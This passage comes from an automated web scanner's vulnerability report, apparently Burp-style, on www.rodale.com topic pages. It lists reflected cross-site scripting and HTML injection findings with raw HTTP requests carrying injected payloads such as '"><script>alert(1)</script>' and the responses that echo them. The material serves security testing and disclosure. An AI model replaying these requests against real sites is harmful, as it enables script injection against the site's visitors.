Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:40 GMT
Date: Thu, 10 Mar 2011 17:10:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32822

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cooking-tips?6a0a5"><script>alert(1)</script>0c9821cc731=1" title="Register" class="moreLink">
...[SNIP]...

2.410. http://www.rodale.com/topic/cookware [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cookware

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85d06"><a>a080d57996a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic85d06"><a>a080d57996a/cookware HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:44 GMT
Date: Thu, 10 Mar 2011 17:10:45 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic85d06"><a>a080d57996a topic85d06">
...[SNIP]...

2.411. http://www.rodale.com/topic/cookware [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cookware

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 990ed"><a>3f371d9e831 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cookware990ed"><a>3f371d9e831 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:23 GMT
Date: Thu, 10 Mar 2011 17:11:24 GMT
Content-Length: 22474
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cookware990ed"><a>3f371d9e831 node node-958">
...[SNIP]...

2.412. http://www.rodale.com/topic/cookware [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cookware

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67595"><script>alert(1)</script>efd4de0c383 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cookware?67595"><script>alert(1)</script>efd4de0c383=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:42 GMT
Date: Thu, 10 Mar 2011 17:10:42 GMT
Content-Length: 31002
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cookware?67595"><script>alert(1)</script>efd4de0c383=1" title="Register" class="moreLink">
...[SNIP]...

2.413. http://www.rodale.com/topic/cool-advice-hot-weather-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cool-advice-hot-weather-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65d5c"><a>97eec7964f4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic65d5c"><a>97eec7964f4/cool-advice-hot-weather-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:48 GMT
Date: Thu, 10 Mar 2011 17:10:48 GMT
Content-Length: 22546
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic65d5c"><a>97eec7964f4 topic65d5c">
...[SNIP]...

2.414. http://www.rodale.com/topic/cool-advice-hot-weather-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cool-advice-hot-weather-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83581"><a>0db6ef847ac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cool-advice-hot-weather-083581"><a>0db6ef847ac HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:19 GMT
Date: Thu, 10 Mar 2011 17:11:19 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cool-advice-hot-weather-083581"><a>0db6ef847ac node node-958">
...[SNIP]...

2.415. http://www.rodale.com/topic/cool-advice-hot-weather-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cool-advice-hot-weather-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8471d"><script>alert(1)</script>a56276af6c3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cool-advice-hot-weather-0?8471d"><script>alert(1)</script>a56276af6c3=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:44 GMT
Date: Thu, 10 Mar 2011 17:10:44 GMT
Content-Length: 29631
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cool-advice-hot-weather-0?8471d"><script>alert(1)</script>a56276af6c3=1" title="Register" class="moreLink">
...[SNIP]...

2.416. http://www.rodale.com/topic/cosmetics [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cosmetics

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd488"><a>ec135f175ab was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiccd488"><a>ec135f175ab/cosmetics HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:48 GMT
Date: Thu, 10 Mar 2011 17:10:48 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiccd488"><a>ec135f175ab topiccd488">
...[SNIP]...

2.417. http://www.rodale.com/topic/cosmetics [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cosmetics

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73075"><a>af39b7ff42 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cosmetics73075"><a>af39b7ff42 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:22 GMT
Date: Thu, 10 Mar 2011 17:11:22 GMT
Content-Length: 22474
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cosmetics73075"><a>af39b7ff42 node node-958">
...[SNIP]...

2.418. http://www.rodale.com/topic/cosmetics [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cosmetics

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d37c0"><script>alert(1)</script>f98acd0458c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cosmetics?d37c0"><script>alert(1)</script>f98acd0458c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:44 GMT
Date: Thu, 10 Mar 2011 17:10:44 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cosmetics?d37c0"><script>alert(1)</script>f98acd0458c=1" title="Register" class="moreLink">
...[SNIP]...

2.419. http://www.rodale.com/topic/csa-community-supported-agriculture [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/csa-community-supported-agriculture

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ee2b"><a>d259574dd16 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic7ee2b"><a>d259574dd16/csa-community-supported-agriculture HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:44 GMT
Date: Thu, 10 Mar 2011 17:10:44 GMT
Content-Length: 22576
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic7ee2b"><a>d259574dd16 topic7ee2b">
...[SNIP]...

2.420. http://www.rodale.com/topic/csa-community-supported-agriculture [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/csa-community-supported-agriculture

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7a56"><a>f53cee049d9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/csa-community-supported-agricultured7a56"><a>f53cee049d9 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:20 GMT
Date: Thu, 10 Mar 2011 17:11:20 GMT
Content-Length: 22555
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-csa-community-supported-agricultured7a56"><a>f53cee049d9 node node-958">
...[SNIP]...

2.421. http://www.rodale.com/topic/csa-community-supported-agriculture [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/csa-community-supported-agriculture

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f147d"><script>alert(1)</script>27987445852 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/csa-community-supported-agriculture?f147d"><script>alert(1)</script>27987445852=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:41 GMT
Date: Thu, 10 Mar 2011 17:10:41 GMT
Content-Length: 31520
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/csa-community-supported-agriculture?f147d"><script>alert(1)</script>27987445852=1" title="Register" class="moreLink">
...[SNIP]...

2.422. http://www.rodale.com/topic/dairy-products [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/dairy-products

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ba35"><a>afb74d08e6d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic4ba35"><a>afb74d08e6d/dairy-products HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:54 GMT
Date: Thu, 10 Mar 2011 17:10:54 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic4ba35"><a>afb74d08e6d topic4ba35">
...[SNIP]...

2.423. http://www.rodale.com/topic/dairy-products [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/dairy-products

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d9e3"><a>7829d387250 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/dairy-products7d9e3"><a>7829d387250 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:31 GMT
Date: Thu, 10 Mar 2011 17:11:31 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-dairy-products7d9e3"><a>7829d387250 node node-958">
...[SNIP]...

2.424. http://www.rodale.com/topic/dairy-products [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/dairy-products

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a062"><script>alert(1)</script>798ff7a406e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/dairy-products?3a062"><script>alert(1)</script>798ff7a406e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:51 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:52 GMT
Date: Thu, 10 Mar 2011 17:10:53 GMT
Content-Length: 30692
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/dairy-products?3a062"><script>alert(1)</script>798ff7a406e=1" title="Register" class="moreLink">
...[SNIP]...

2.425. http://www.rodale.com/topic/death-and-dying [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/death-and-dying

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload baa14"><a>c28ab01c7b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicbaa14"><a>c28ab01c7b4/death-and-dying HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:02 GMT
Date: Thu, 10 Mar 2011 17:11:02 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicbaa14"><a>c28ab01c7b4 topicbaa14">
...[SNIP]...

2.426. http://www.rodale.com/topic/death-and-dying [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/death-and-dying

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a28ae"><a>923dbb3d229 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/death-and-dyinga28ae"><a>923dbb3d229 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:35 GMT
Date: Thu, 10 Mar 2011 17:11:35 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
